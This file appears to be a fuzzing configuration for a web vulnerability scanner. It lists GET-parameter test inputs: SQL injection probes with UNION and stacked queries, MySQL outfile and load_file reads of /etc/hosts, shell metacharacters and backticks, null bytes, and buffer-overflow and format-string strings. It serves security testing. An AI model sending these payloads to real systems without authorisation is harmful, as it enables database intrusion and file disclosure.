## this file contains tests for parameter-manipulation 
## mainly for GET requests (means uri-encoding is possible)
## 

<despentries name="Params GET Configuration">

## lets start with sql-injections

<entry des="single quote">'</entry>
<entry des="double quote">"</entry>
<entry des="backslash">\</entry>
<entry des="slash">\</entry>
<entry des="comment std">--</entry>
<entry des="comment mysqlI">/*</entry>
<entry des="comment mysqlII">#</entry>
<entry des="other comment">REM</entry>
<entry des="end of query">;</entry>
<entry des="variable paras."><repeat from="1" to="4" step="1">)</repeat></entry>
<entry des="char for quote"> char(39) </entry>
<entry des="chr for quote"> chr(39) </entry>
<entry des="mixed I">11+AA</entry>
<entry des="length alpha"><repeat from="10" to="50" step="10">X</repeat></entry>
<entry des="length num"><repeat from="5" to="10" step="2">1169</repeat></entry>
<entry des="length num"><repeat from="5" to="10" step="2">1169</repeat></entry>
<entry des="or numeric">1 or 6911=6911 </entry>
<entry des="or alpha">A' or 6911=6911 </entry>
<entry des="alpha char()">6911(char(39)) </entry>
<entry des="mysql outf I">1 into outfile 'tstfil'</entry>
<entry des="mysql outf I">1 into outfile "tstfil"</entry>
<entry des="mysql outf II">1 or load_file(char(47,101,116,99,47,104,111,115,116,115))</entry>
<entry des="union 1">6911 union select 6911 </entry>
<entry des="union 2">6911 union select 6911 --</entry>
<entry des="union 3">6911 union select 6911 #</entry>
<entry des="union 4">6911 union select 6911 /*</entry>
<entry des="union 1d">6911 union select 6911 </entry>
<entry des="union 2d">6911 union select 6911 --</entry>
<entry des="union 3d">6911 union select 6911 #</entry>
<entry des="union 4d">6911 union select 6911 /*</entry>
<entry des="multiple 1d">6911; select 6900+11 from dual;</entry>
<entry des="multiple I">6911; select 6900+11;</entry>

## we should cover mssql specific tasks from here 

## metacharacters uri-encoded

<entry des="nullbyte">6911%00</entry>
<entry des="semi">;6911</entry>
<entry des="pipe">|6911</entry>
<entry des="call">!6911</entry>
<entry des="and">&6911</entry>
<entry des="and2">&&6911</entry>
<entry des="eot">6911%04</entry>
<entry des="nl">%0a6911</entry>
<entry des="cr">%0d6911</entry>
<entry des="esc">%1b6911</entry>
<entry des="bs">6911%08%08%08%08</entry>
<entry des="bs">6911%7f%7f%7f%7f</entry>
<entry des="tild">~</entry>
<entry des="backticks">`6911`</entry>
<entry des="backticks uri">%606911%60</entry>

## simple overflow
<entry des="simple BO"><repeat from="5" to="500" step="20">6911</repeat></entry>
<entry des="simple formatstring"><repeat from="5" to="100" step="20">%s%x%s%x</repeat></entry>
<entry des="simple formatstring II"><repeat from="5" to="100" step="20">%25s%25x%25s%25x</repeat></entry>

## unicode things

</despentries>